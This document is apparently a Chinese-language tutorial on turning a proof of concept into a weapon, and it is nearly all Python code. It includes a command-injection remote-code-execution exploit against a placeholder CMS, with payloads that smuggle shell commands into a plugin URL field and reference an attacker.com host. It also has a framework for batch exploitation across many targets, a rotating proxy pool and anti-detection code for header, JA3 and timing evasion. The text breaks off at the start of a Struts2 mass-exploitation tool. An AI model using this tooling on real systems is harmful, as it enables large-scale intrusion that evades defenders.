Python安全工具开发：从POC到武器化

#!/usr/bin/env python3
"""
CVE-2024-XXXX - TargetCMS v3.2.1 Remote Code Execution
Author: security-researcher
Date: 2026-06-12
Severity: Critical (CVSS 9.8)
Affected: TargetCMS <= 3.2.1
"""

import argparse
import sys
import requests
from urllib.parse import urljoin

# 禁用SSL警告（测试环境）
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ============ 配置区 ============
TIMEOUT = 15
USER_AGENT = "Mozilla/5.0 (compatible; Security-Audit/1.0)"
PROXIES = None  # {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# ============ 日志系统 ============
import logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S"
)
logger = logging.getLogger(__name__)


def check_version(target_url: str) -> tuple:
    """
    检测目标CMS版本
    返回: (is_vulnerable: bool, version: str)
    """
    try:
        resp = requests.get(
            urljoin(target_url, "/api/version"),
            headers={"User-Agent": USER_AGENT},
            proxies=PROXIES,
            timeout=TIMEOUT,
            verify=False
        )
        
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("version", "unknown")
            
            # 版本比较
            vulnerable = version <= "3.2.1"
            logger.info(f"Target version: {version}, Vulnerable: {vulnerable}")
            return vulnerable, version
            
    except requests.exceptions.ConnectionError:
        logger.error(f"Cannot connect to {target_url}")
    except Exception as e:
        logger.error(f"Version check failed: {e}")
    
    return False, "unknown"


def check_vulnerability(target_url: str) -> bool:
    """
    漏洞检测（非破坏性）
    仅检测漏洞是否存在，不执行命令
    """
    vulnerable, version = check_version(target_url)
    
    if not vulnerable:
        logger.info(f"Target version {version} is not vulnerable")
        return False
    
    # Fingerprint检测
    check_url = urljoin(target_url, "/api/plugin/install")
    
    payload = {
        "name": "test_plugin",
        "url": f"http://127.0.0.1:{9999}/nonexistent.zip",
        "type": "zip"
    }
    
    try:
        resp = requests.post(
            check_url,
            json=payload,
            headers={"User-Agent": USER_AGENT},
            proxies=PROXIES,
            timeout=TIMEOUT,
            verify=False
        )
        
        # 检查是否触发了SSRF特性（判定漏洞存在）
        if "download_failed" in resp.text or "connection_refused" in resp.text:
            logger.info("Vulnerability confirmed!")
            return True
        else:
            logger.warning(f"Unexpected response: {resp.text[:200]}")
            return False
            
    except Exception as e:
        logger.error(f"Check failed: {e}")
        return False


def exploit(target_url: str, command: str) -> bool:
    """
    漏洞利用（命令执行）
    """
    exploit_url = urljoin(target_url, "/api/plugin/install")
    
    # 恶意payload
    payload = {
        "name": "shell",
        "url": f"http://attacker.com/evil.zip;{command};#",
        "type": "command_injection"
    }
    
    try:
        logger.info(f"Executing command: {command}")
        resp = requests.post(
            exploit_url,
            json=payload,
            headers={"User-Agent": USER_AGENT},
            proxies=PROXIES,
            timeout=TIMEOUT,
            verify=False
        )
        
        if resp.status_code == 200:
            result = resp.json().get("output", "")
            logger.info(f"Command output:\n{result}")
            return True
        else:
            logger.warning(f"Exploit failed: {resp.status_code}")
            return False
            
    except Exception as e:
        logger.error(f"Exploit error: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-XXXX - TargetCMS RCE Exploit"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-c", "--command", default="id", 
                       help="Command to execute (default: id)")
    parser.add_argument("--check", action="store_true",
                       help="Only check vulnerability, no exploitation")
    parser.add_argument("--proxy", help="Proxy URL (e.g. http://127.0.0.1:8080)")
    parser.add_argument("-v", "--verbose", action="store_true",
                       help="Verbose output")
    
    args = parser.parse_args()
    
    if args.verbose:
        logging.getLogger().setLevel(logging.DEBUG)
    
    global PROXIES
    if args.proxy:
        PROXIES = {"http": args.proxy, "https": args.proxy}
    
    # 标准化URL
    target = args.url.rstrip('/')
    if not target.startswith('http'):
        target = f"http://{target}"
    
    logger.info(f"Target: {target}")
    
    # 检测模式
    if args.check:
        is_vuln = check_vulnerability(target)
        status = "VULNERABLE" if is_vuln else "NOT VULNERABLE"
        print(f"\n[*] Target status: {status}")
        sys.exit(0 if is_vuln else 1)
    
    # 利用模式
    success = exploit(target, args.command)
    if success:
        print(f"\n[+] Exploit successful!")
    else:
        print(f"\n[-] Exploit failed")
        sys.exit(1)


if __name__ == "__main__":
    main()

"""exp_framework.py - 通用漏洞利用框架"""
from abc import ABC, abstractmethod
from dataclasses import dataclass, field
from typing import Optional, Dict, Any, List
from enum import Enum
import requests
import json
import time
import logging

logger = logging.getLogger(__name__)

class ExploitResult(Enum):
    SUCCESS = "success"
    FAILED = "failed"
    UNCERTAIN = "uncertain"
    NOT_VULNERABLE = "not_vulnerable"
    TIMEOUT = "timeout"
    BLOCKED = "blocked"

@dataclass
class ExploitConfig:
    """漏洞利用配置"""
    target: str
    proxy: Optional[str] = None
    timeout: int = 15
    retries: int = 2
    delay: float = 1.0
    user_agent: str = "Mozilla/5.0 (Security-Test/1.0)"
    extra: Dict[str, Any] = field(default_factory=dict)

@dataclass
class ExploitOutput:
    """漏洞利用输出"""
    result: ExploitResult
    target: str
    vuln_name: str
    evidence: str = ""
    raw_output: str = ""
    request_data: str = ""
    response_data: str = ""
    timestamp: float = field(default_factory=time.time)

class BaseExploit(ABC):
    """漏洞利用基类"""
    
    # 子类需覆盖的属性
    vuln_name: str = "Unknown"
    vuln_id: str = "CVE-0000-0000"
    description: str = ""
    severity: str = "high"
    affected_versions: str = ""
    
    def __init__(self, config: ExploitConfig):
        self.config = config
        self.session = requests.Session()
        self._setup_session()
    
    def _setup_session(self):
        """初始化HTTP Session"""
        self.session.headers.update({
            "User-Agent": self.config.user_agent,
            "Accept": "*/*",
            "Accept-Language": "en-US,en;q=0.9",
            "Connection": "keep-alive",
        })
        
        if self.config.proxy:
            self.session.proxies = {
                "http": self.config.proxy,
                "https": self.config.proxy
            }
        
        # 禁用SSL验证
        self.session.verify = False
    
    @abstractmethod
    def check(self) -> ExploitOutput:
        """漏洞检测（非破坏性）"""
        pass
    
    @abstractmethod
    def exploit(self, payload: str = None) -> ExploitOutput:
        """漏洞利用"""
        pass
    
    def send_request(self, method: str, url: str, 
                    **kwargs) -> requests.Response:
        """统一请求发送（带重试）"""
        for attempt in range(self.config.retries + 1):
            try:
                response = self.session.request(
                    method, url,
                    timeout=self.config.timeout,
                    **kwargs
                )
                return response
            except requests.exceptions.Timeout:
                if attempt < self.config.retries:
                    logger.warning(f"Timeout, retrying ({attempt+1}/{self.config.retries})")
                    time.sleep(self.config.delay * (attempt + 1))
                else:
                    raise
            except requests.exceptions.ConnectionError as e:
                if attempt < self.config.retries:
                    time.sleep(self.config.delay)
                else:
                    raise
    
    def get_interactive_shell(self, callback_url: str = None):
        """
        获取交互式Shell（如果利用成功）
        支持多种Shell类型
        """
        raise NotImplementedError(
            "Interactive shell not implemented for this exploit"
        )


class MultiTargetRunner:
    """多目标批量执行器"""
    
    def __init__(self, exploit_class: type, configs: List[ExploitConfig],
                 max_workers: int = 10):
        self.exploit_class = exploit_class
        self.configs = configs
        self.max_workers = max_workers
        self.results: List[ExploitOutput] = []
    
    def run(self, mode: str = "check") -> List[ExploitOutput]:
        """
        并发执行漏洞检测/利用
        mode: "check" or "exploit"
        """
        from concurrent.futures import ThreadPoolExecutor, as_completed
        
        logger.info(f"Running {mode} on {len(self.configs)} targets "
                    f"with {self.max_workers} workers")
        
        with ThreadPoolExecutor(max_workers=self.max_workers) as executor:
            futures = {}
            for config in self.configs:
                exploit = self.exploit_class(config)
                
                if mode == "check":
                    future = executor.submit(exploit.check)
                else:
                    future = executor.submit(exploit.exploit)
                
                futures[future] = config.target
            
            for future in as_completed(futures):
                target = futures[future]
                try:
                    output = future.result(timeout=30)
                    self.results.append(output)
                    
                    status = "✓" if output.result == ExploitResult.SUCCESS else "✗"
                    logger.info(f"[{status}] {target}: {output.result.value}")
                    
                except Exception as e:
                    logger.error(f"[✗] {target}: {e}")
                    self.results.append(ExploitOutput(
                        result=ExploitResult.FAILED,
                        target=target,
                        vuln_name=self.exploit_class.vuln_name,
                        evidence=str(e)
                    ))
        
        return self.results
    
    def summary(self) -> str:
        """生成执行摘要"""
        total = len(self.results)
        success = sum(1 for r in self.results 
                     if r.result == ExploitResult.SUCCESS)
        vulnerable = sum(1 for r in self.results 
                        if r.result != ExploitResult.NOT_VULNERABLE 
                        and r.result != ExploitResult.FAILED)
        
        return (
            f"\n{'='*50}\n"
            f"  Execution Summary\n"
            f"  Total targets: {total}\n"
            f"  Vulnerable: {vulnerable}\n"
            f"  Successfully exploited: {success}\n"
            f"{'='*50}"
        )
    
    def export_results(self, path: str):
        """导出结果为JSON"""
        output = []
        for r in self.results:
            output.append({
                "target": r.target,
                "vuln_name": r.vuln_name,
                "result": r.result.value,
                "evidence": r.evidence[:500],
                "timestamp": r.timestamp
            })
        
        with open(path, 'w') as f:
            json.dump(output, f, indent=2, ensure_ascii=False)
        
        logger.info(f"Results exported to {path}")

"""exploit_example.py - 具体漏洞EXP"""
from exp_framework import BaseExploit, ExploitConfig, ExploitOutput, ExploitResult
import re

class CVE2024_XXXX_RCE(BaseExploit):
    """TargetCMS RCE Exploit"""
    
    vuln_name = "TargetCMS Plugin Install RCE"
    vuln_id = "CVE-2024-XXXX"
    description = "Command injection in plugin installation endpoint"
    severity = "critical"
    affected_versions = "TargetCMS <= 3.2.1"
    
    def check(self) -> ExploitOutput:
        """非破坏性漏洞检测"""
        try:
            # Step 1: 版本检测
            resp = self.send_request("GET", 
                f"{self.config.target}/api/version")
            
            if resp.status_code != 200:
                return ExploitOutput(
                    result=ExploitResult.FAILED,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"Version check failed: status={resp.status_code}"
                )
            
            version = resp.json().get("version", "")
            if version > "3.2.1":
                return ExploitOutput(
                    result=ExploitResult.NOT_VULNERABLE,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"Version {version} is not affected"
                )
            
            # Step 2: DNS外带检测（非破坏性）
            import hashlib
            unique_id = hashlib.md5(self.config.target.encode()).hexdigest()[:8]
            dnslog_domain = f"{unique_id}.dnslog.example.com"
            
            payload = {
                "name": "test",
                "url": f"http://{dnslog_domain}/test.zip"
            }
            
            resp = self.send_request("POST",
                f"{self.config.target}/api/plugin/install",
                json=payload)
            
            # 如果触发了SSRF请求（DNS解析），说明存在漏洞
            if "download_started" in resp.text or "resolving" in resp.text.lower():
                return ExploitOutput(
                    result=ExploitResult.SUCCESS,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"SSRF triggered via plugin install. "
                            f"DNS callback: {dnslog_domain}",
                    response_data=resp.text[:500]
                )
            
            return ExploitOutput(
                result=ExploitResult.UNCERTAIN,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=f"Version {version} seems vulnerable but SSRF not confirmed"
            )
            
        except Exception as e:
            return ExploitOutput(
                result=ExploitResult.FAILED,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=str(e)
            )
    
    def exploit(self, command: str = None) -> ExploitOutput:
        """命令执行利用"""
        if command is None:
            command = "id"
        
        try:
            # 编码Payload避免特殊字符问题
            encoded_cmd = command.replace(" ", "${IFS}")
            
            exploit_payload = {
                "name": "pwned",
                "url": (
                    f"http://127.0.0.1/nonexistent.zip;"
                    f"{encoded_cmd}"
                    f" 2>&1 > /tmp/pwned_output.txt;#"
                ),
                "type": "command_injection"
            }
            
            resp = self.send_request("POST",
                f"{self.config.target}/api/plugin/install",
                json=exploit_payload)
            
            # 尝试读取命令输出
            time.sleep(2)  # 等待命令执行
            
            read_payload = {
                "name": "reader",
                "url": "http://127.0.0.1/reader.zip;cat${IFS}"
                       "/tmp/pwned_output.txt;#"
            }
            
            resp2 = self.send_request("POST",
                f"{self.config.target}/api/plugin/install",
                json=read_payload)
            
            # 从响应中提取命令输出
            output_match = re.search(r'output["\']:\s*["\'](.+?)["\']', 
                                     resp2.text, re.DOTALL)
            
            if output_match:
                cmd_output = output_match.group(1)
                return ExploitOutput(
                    result=ExploitResult.SUCCESS,
                    target=self.config.target,
                    vuln_name=self.vuln_name,
                    evidence=f"RCE successful! Command: {command}",
                    raw_output=cmd_output,
                    response_data=resp2.text[:1000]
                )
            
            return ExploitOutput(
                result=ExploitResult.SUCCESS,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=f"Command executed (status: {resp.status_code})",
                response_data=resp.text[:500]
            )
            
        except Exception as e:
            return ExploitOutput(
                result=ExploitResult.FAILED,
                target=self.config.target,
                vuln_name=self.vuln_name,
                evidence=str(e)
            )


# 批量使用示例
if __name__ == "__main__":
    targets = [
        ExploitConfig(target="http://target1.com", proxy="http://127.0.0.1:8080"),
        ExploitConfig(target="http://target2.com"),
        ExploitConfig(target="http://target3.com", timeout=30),
    ]
    
    runner = MultiTargetRunner(CVE2024_XXXX_RCE, targets, max_workers=5)
    runner.run(mode="check")
    print(runner.summary())
    runner.export_results("results.json")

"""concurrency_patterns.py - Python并发模式对比"""
import asyncio
import aiohttp
import requests
import time
import threading
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
from typing import List, Callable, Any
from dataclasses import dataclass

@dataclass
class BenchmarkResult:
    name: str
    total_time: float
    success_count: int
    error_count: int
    requests_per_second: float

# ============ 模式1: 同步（基线）============
def sync_scan(targets: List[str]) -> BenchmarkResult:
    """同步顺序扫描"""
    start = time.time()
    success = 0
    errors = 0
    
    for url in targets:
        try:
            resp = requests.get(url, timeout=10)
            if resp.status_code == 200:
                success += 1
        except:
            errors += 1
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name="Synchronous",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 模式2: 多线程 ============
def thread_scan(targets: List[str], max_workers: int = 20) -> BenchmarkResult:
    """多线程扫描"""
    start = time.time()
    success = 0
    errors = 0
    lock = threading.Lock()
    
    def check_single(url):
        nonlocal success, errors
        try:
            resp = requests.get(url, timeout=10)
            with lock:
                if resp.status_code == 200:
                    success += 1
        except:
            with lock:
                errors += 1
    
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        executor.map(check_single, targets)
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name=f"ThreadPool({max_workers} workers)",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 模式3: asyncio协程 ============
async def async_scan(targets: List[str], 
                     concurrency: int = 50) -> BenchmarkResult:
    """异步协程扫描"""
    start = time.time()
    success = 0
    errors = 0
    semaphore = asyncio.Semaphore(concurrency)
    
    async def check_single(session, url):
        nonlocal success, errors
        async with semaphore:
            try:
                async with session.get(url, 
                    timeout=aiohttp.ClientTimeout(total=10)) as resp:
                    if resp.status == 200:
                        success += 1
            except:
                errors += 1
    
    connector = aiohttp.TCPConnector(limit=concurrency)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [check_single(session, url) for url in targets]
        await asyncio.gather(*tasks)
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name=f"asyncio({concurrency} concurrent)",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 模式4: asyncio + 多进程 ============
async def async_worker(worker_id: int, targets: List[str], 
                      queue: asyncio.Queue):
    """异步worker（多进程中运行）"""
    async with aiohttp.ClientSession() as session:
        for url in targets:
            try:
                async with session.get(url, 
                    timeout=aiohttp.ClientTimeout(total=10)) as resp:
                    await queue.put(("success", url, resp.status))
            except Exception as e:
                await queue.put(("error", url, str(e)))

def process_worker(targets_chunk: List[str]) -> List[tuple]:
    """进程worker"""
    results = []
    
    async def run():
        queue = asyncio.Queue()
        await async_worker(0, targets_chunk, queue)
        while not queue.empty():
            results.append(await queue.get())
    
    asyncio.run(run())
    return results

def hybrid_scan(targets: List[str], 
                num_processes: int = 4) -> BenchmarkResult:
    """混合模式：多进程 + 协程"""
    start = time.time()
    
    # 将目标分配给多个进程
    chunk_size = len(targets) // num_processes
    chunks = [targets[i:i+chunk_size] 
              for i in range(0, len(targets), chunk_size)]
    
    with ProcessPoolExecutor(max_workers=num_processes) as executor:
        results = list(executor.map(process_worker, chunks))
    
    all_results = [item for sublist in results for item in sublist]
    success = sum(1 for r in all_results if r[0] == "success")
    errors = len(all_results) - success
    
    elapsed = time.time() - start
    return BenchmarkResult(
        name=f"Hybrid({num_processes} processes + asyncio)",
        total_time=elapsed,
        success_count=success,
        error_count=errors,
        requests_per_second=len(targets) / elapsed
    )

# ============ 性能对比 ============
def benchmark(targets: List[str]):
    """运行所有模式的性能对比"""
    print(f"Benchmarking {len(targets)} targets\n")
    results = []
    
    # 同步基线（仅测试前10个作为参考）
    results.append(sync_scan(targets[:10]))
    
    # 多线程
    results.append(thread_scan(targets, max_workers=20))
    
    # asyncio
    results.append(asyncio.run(async_scan(targets, concurrency=50)))
    
    # 混合
    results.append(hybrid_scan(targets, num_processes=4))
    
    # 输出对比
    print(f"{'Mode':<40} {'Time':<10} {'RPS':<10} {'Success':<10}")
    print("-" * 70)
    for r in results:
        print(f"{r.name:<40} {r.total_time:<10.2f} "
              f"{r.requests_per_second:<10.1f} {r.success_count:<10}")


if __name__ == "__main__":
    # 生成测试目标
    test_targets = [f"http://example.com/page/{i}" for i in range(100)]
    benchmark(test_targets)

"""proxy_pool.py - 代理池管理与自动切换"""
import random
import time
import threading
from typing import List, Optional, Dict
from dataclasses import dataclass, field
from collections import deque
import requests

@dataclass
class Proxy:
    """代理节点"""
    url: str
    protocol: str = "http"  # http, https, socks5
    latency: float = 999.0
    success_count: int = 0
    fail_count: int = 0
    last_used: float = 0.0
    last_check: float = 0.0
    is_alive: bool = True
    max_fails: int = 5
    cooldown_time: float = 60.0  # 冷却时间（秒）
    
    def mark_success(self, latency: float = 0):
        self.success_count += 1
        self.fail_count = 0  # 重置连续失败计数
        self.latency = (self.latency * 0.7) + (latency * 0.3)  # 指数移动平均
        self.last_used = time.time()
        self.is_alive = True
    
    def mark_failure(self):
        self.fail_count += 1
        self.last_used = time.time()
        if self.fail_count >= self.max_fails:
            self.is_alive = False
    
    def can_use(self) -> bool:
        """判断代理是否可用"""
        if not self.is_alive:
            # 检查冷却期是否结束
            if time.time() - self.last_used > self.cooldown_time:
                self.is_alive = True
                self.fail_count = 0
            else:
                return False
        return True
    
    @property
    def proxy_dict(self) -> dict:
        """返回requests库格式的代理字典"""
        return {self.protocol: self.url}

class ProxyPool:
    """代理池管理器"""
    
    def __init__(self, initial_proxies: List[str] = None,
                 check_interval: float = 300.0):
        self.proxies: Dict[str, Proxy] = {}
        self.available: deque = deque()
        self.lock = threading.Lock()
        self.check_interval = check_interval
        
        # 添加初始代理
        if initial_proxies:
            for proxy_url in initial_proxies:
                self.add_proxy(proxy_url)
    
    def add_proxy(self, url: str, protocol: str = "http"):
        """添加代理"""
        with self.lock:
            if url not in self.proxies:
                proxy = Proxy(url=url, protocol=protocol)
                self.proxies[url] = proxy
                if proxy.can_use():
                    self.available.append(url)
    
    def remove_proxy(self, url: str):
        """移除代理"""
        with self.lock:
            if url in self.proxies:
                del self.proxies[url]
                if url in self.available:
                    self.available.remove(url)
    
    def get_proxy(self, strategy: str = "round_robin") -> Optional[Proxy]:
        """
        获取一个代理
        strategy: "round_robin", "random", "lowest_latency"
        """
        with self.lock:
            # 过滤可用代理
            available_proxies = [
                self.proxies[url] for url in self.available
                if self.proxies[url].can_use()
            ]
            
            if not available_proxies:
                return None
            
            if strategy == "random":
                return random.choice(available_proxies)
            elif strategy == "lowest_latency":
                return min(available_proxies, key=lambda p: p.latency)
            else:  # round_robin
                url = self.available.popleft()
                self.available.append(url)
                return self.proxies[url]
    
    def health_check(self, proxy: Proxy, test_url: str = "http://httpbin.org/ip"):
        """代理健康检查"""
        try:
            start = time.time()
            resp = requests.get(
                test_url,
                proxies=proxy.proxy_dict,
                timeout=10
            )
            latency = time.time() - start
            
            if resp.status_code == 200:
                proxy.mark_success(latency)
                return True
        except:
            pass
        
        proxy.mark_failure()
        return False
    
    def check_all(self):
        """检查所有代理的健康状态"""
        print(f"[*] Health check: {len(self.proxies)} proxies")
        alive = 0
        for url, proxy in list(self.proxies.items()):
            if self.health_check(proxy):
                alive += 1
        print(f"[+] Alive: {alive}/{len(self.proxies)}")
        return alive
    
    def auto_refresh(self, proxy_sources: List[str]):
        """
        自动从代理源刷新代理列表
        proxy_sources: 代理获取URL列表
        """
        for source_url in proxy_sources:
            try:
                resp = requests.get(source_url, timeout=15)
                if resp.status_code == 200:
                    # 假设返回格式为每行一个代理地址
                    lines = resp.text.strip().split('\n')
                    for line in lines:
                        if ':' in line:
                            proxy_url = f"http://{line.strip()}"
                            self.add_proxy(proxy_url)
                            print(f"[+] Added proxy: {proxy_url}")
            except Exception as e:
                print(f"[-] Failed to fetch from {source_url}: {e}")
    
    def stats(self) -> str:
        """代理池统计信息"""
        with self.lock:
            alive = sum(1 for p in self.proxies.values() if p.is_alive)
            return (
                f"Proxy Pool: {alive}/{len(self.proxies)} alive, "
                f"Next in queue: {len(self.available)}"
            )
    
    def best_proxy_for(self, target_host: str) -> Optional[Proxy]:
        """
        为目标主机选择最佳代理
        策略：轮询但排除已知被ban的代理
        """
        # 可以扩展为按目标host维护ban列表
        return self.get_proxy(strategy="round_robin")


# ============ 使用示例：带代理池的扫描器 ============
class ProxyAwareScanner:
    """使用代理池的扫描器"""
    
    def __init__(self, proxy_pool: ProxyPool, max_retries: int = 3):
        self.pool = proxy_pool
        self.max_retries = max_retries
    
    def scan_with_proxy(self, target_url: str) -> dict:
        """使用代理进行扫描，自动切换失败代理"""
        for attempt in range(self.max_retries):
            proxy = self.pool.get_proxy()
            if not proxy:
                print("[-] No proxy available!")
                return {"error": "no_proxy"}
            
            try:
                resp = requests.get(
                    target_url,
                    proxies=proxy.proxy_dict,
                    timeout=10
                )
                proxy.mark_success()
                return {
                    "status": resp.status_code,
                    "proxy": proxy.url,
                    "content_length": len(resp.text)
                }
            except Exception as e:
                proxy.mark_failure()
                print(f"[-] Proxy {proxy.url} failed: {e}. Switching...")
                continue
        
        return {"error": "all_proxies_failed"}


# 初始化代理池
if __name__ == "__main__":
    pool = ProxyPool(initial_proxies=[
        "http://proxy1.example.com:8080",
        "http://proxy2.example.com:3128",
        "socks5://proxy3.example.com:1080",
    ])
    
    pool.check_all()
    print(pool.stats())
    
    scanner = ProxyAwareScanner(pool)
    result = scanner.scan_with_proxy("http://target.com")
    print(f"Scan result: {result}")

"""anti_detection.py - 反检测技术"""
import random
import time
import hashlib
from typing import Dict

# ============ 真实浏览器UA库 ============
USER_AGENTS = [
    # Chrome 120 on Windows 10
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    
    # Chrome 120 on macOS
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    
    # Firefox 121 on Windows
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) "
    "Gecko/20100101 Firefox/121.0",
    
    # Edge on Windows
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
    
    # Safari on macOS
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
    "(KHTML, like Gecko) Version/17.1 Safari/605.1.15",
    
    # Mobile
    "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36",
]

# ============ 请求头模板 ============
REQUEST_HEADERS = {
    "Accept": [
        "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    ],
    "Accept-Language": [
        "en-US,en;q=0.9",
        "zh-CN,zh;q=0.9,en;q=0.8",
        "en-US,en;q=0.5",
    ],
    "Accept-Encoding": ["gzip, deflate, br"],
    "Cache-Control": ["no-cache", "max-age=0"],
    "Sec-Fetch-Dest": ["document"],
    "Sec-Fetch-Mode": ["navigate"],
    "Sec-Fetch-Site": ["none", "cross-site"],
}

def generate_random_headers() -> Dict[str, str]:
    """生成随机浏览器请求头"""
    headers = {
        "User-Agent": random.choice(USER_AGENTS),
    }
    
    for header, values in REQUEST_HEADERS.items():
        headers[header] = random.choice(values)
    
    return headers


class RLFingerprint:
    """随机化TLS指纹"""
    # 注：实际TLS指纹需要配合tls-client/curl-impersonate等底层工具
    # Python的requests库本身不支持修改TLS指纹
    
    JA3_FINGERPRINTS = [
        "771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513-21,29-23-24,0",
        "771,4865-4867-4866-49195-49199-52393-52392-49196-49200-49162-49161-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-34-51-43-27-17513-41,29-23-24-25,0",
    ]
    
    @staticmethod
    def get_random_ja3() -> str:
        return random.choice(RLFingerprint.JA3_FINGERPRINTS)


class TimingObfuscator:
    """时间混淆器 — 模拟人类浏览行为"""
    
    def __init__(self, base_delay: float = 1.0, jitter: float = 0.5):
        self.base_delay = base_delay
        self.jitter = jitter
    
    def delay(self):
        """随机延迟"""
        delay = self.base_delay + random.uniform(-self.jitter, self.jitter)
        delay = max(0.1, delay)  # 最少0.1秒
        time.sleep(delay)
    
    def think_delay(self):
        """模拟"思考"时间（用户阅读页面）"""
        delay = random.uniform(2.0, 8.0)
        time.sleep(delay)
    
    def typing_delay(self, text_length: int):
        """模拟打字延迟"""
        delay = text_length * random.uniform(0.05, 0.15)
        time.sleep(delay)


class StealthyRequester:
    """隐匿请求器"""
    
    def __init__(self, proxy_pool=None, timing_obfuscator=None):
        self.proxy_pool = proxy_pool
        self.timing = timing_obfuscator or TimingObfuscator()
        self.request_count = 0
    
    def stealthy_request(self, url: str, method: str = "GET", 
                        **kwargs) -> requests.Response:
        """
        发送隐匿请求
        特征：
        - 随机UA
        - 随机延迟
        - 代理轮换
        - 请求计数（防速率检测）
        """
        # 随机延迟
        self.timing.delay()
        
        # 随机请求头
        headers = generate_random_headers()
        if 'headers' in kwargs:
            headers.update(kwargs.pop('headers'))
        
        # 代理
        proxies = None
        if self.proxy_pool:
            proxy = self.proxy_pool.get_proxy()
            if proxy:
                proxies = proxy.proxy_dict
        
        # 随机Accept-Encoding（部分情况下不压缩可绕过某些WAF）
        if random.random() < 0.1:  # 10%概率不使用压缩
            headers.pop('Accept-Encoding', None)
        
        response = requests.request(
            method, url,
            headers=headers,
            proxies=proxies,
            timeout=15,
            verify=False,
            **kwargs
        )
        
        self.request_count += 1
        return response
    
    def multi_page_visit(self, urls: list):
        """模拟多页面浏览行为"""
        results = []
        
        for i, url in enumerate(urls):
            if i > 0:
                # 页面间"阅读"延迟
                self.timing.think_delay()
            
            response = self.stealthy_request(url)
            results.append(response)
            
            # 随机点击行为：偶尔跳过一些请求
            if random.random() < 0.05:  # 5%概率额外延迟
                self.timing.think_delay()
        
        return results

# setup.py
"""打包配置"""
from setuptools import setup, find_packages

setup(
    name="security-toolkit",
    version="1.0.0",
    author="Security Team",
    description="Security Testing Toolkit",
    packages=find_packages(),
    install_requires=[
        "requests>=2.28.0",
        "aiohttp>=3.8.0",
        "beautifulsoup4>=4.11.0",
        "pyyaml>=6.0",
        "click>=8.0.0",
        "rich>=13.0.0",
        "tqdm>=4.64.0",
    ],
    entry_points={
        "console_scripts": [
            "st-scanner=scanner.cli:main",
            "st-exploit=exploit.cli:main",
        ]
    },
    python_requires=">=3.9",
)

#!/bin/bash
# build.sh - 构建脚本

echo "=== Security Toolkit Builder ==="

# 1. PyInstaller打包为单文件
pyinstaller \
    --name security-toolkit \
    --onefile \
    --add-data "payloads:payloads" \
    --add-data "config.yaml:." \
    --hidden-import aiohttp \
    --hidden-import aiodns \
    --hidden-import cchardet \
    --clean \
    --noconfirm \
    cli.py

# 2. 使用Nuitka编译为C（更隐蔽）
# nuitka --standalone --onefile cli.py

# 3. 生成requirements（用于Docker部署）
pip freeze > requirements.lock

echo "[+] Build complete!"
echo "    Binary: dist/security-toolkit"
echo "    Size: $(du -h dist/security-toolkit | cut -f1)"

# Dockerfile
FROM python:3.11-slim

LABEL org.opencontainers.image.authors="security-team"
LABEL description="Security Testing Toolkit"

# 安装依赖
RUN apt-get update && apt-get install -y --no-install-recommends \
    curl \
    ca-certificates \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# 复制代码
COPY requirements.lock .
RUN pip install --no-cache-dir -r requirements.lock

COPY . .

# 用户权限
RUN useradd -m -s /bin/bash scanner && chown -R scanner:scanner /app
USER scanner

ENTRYPOINT ["python", "-m", "security_toolkit.cli"]
CMD ["--help"]

# docker-compose.yml
version: '3.8'

services:
  scanner:
    build: .
    volumes:
      - ./payloads:/app/payloads:ro
      - ./results:/app/results
      - ./config.yaml:/app/config.yaml:ro
    environment:
      - PROXY_POOL_URL=http://proxy-manager:8080/api/proxies
      - LOG_LEVEL=INFO
    networks:
      - scan-net
    restart: unless-stopped

  proxy-manager:
    image: your-registry/proxy-pool:latest
    ports:
      - "8080:8080"
    volumes:
      - ./proxy_data:/data

networks:
  scan-net:
    driver: bridge

#!/usr/bin/env python3
"""
Struts2 S2-xxx 批量检测与利用工具
整合了本文所有技术：POC规范、EXP框架、并发、代理池、反检测
"""
import asyncio
import aiohttp
import argparse
import json
import logging
import random
import time
from typing import List, Optional
from pathlib import Path
